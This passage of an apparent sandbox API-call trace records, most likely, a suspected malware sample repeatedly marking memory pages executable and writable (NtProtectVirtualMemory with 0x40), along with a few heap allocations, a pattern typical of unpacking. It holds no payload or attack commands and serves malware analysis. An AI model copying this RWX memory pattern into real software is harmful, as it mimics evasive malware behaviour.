OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.867] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.885] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.053] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x3000) returned 0x935a68 [0254.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.090] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.113] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.177] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x933a60) returned 1 [0254.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.197] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.257] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.286] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.296] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x4000) returned 0x938a70 [0254.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.431] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.465] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.513] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x935a68) returned 1 [0254.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.613] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.632] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.815] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.835] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0254.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.004] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.042] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.053] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.071] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.087] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x5000) returned 0x932a58 [0255.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.119] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.132] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.160] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.170] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.192] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.208] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.219] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x938a70) returned 1 [0255.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.273] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 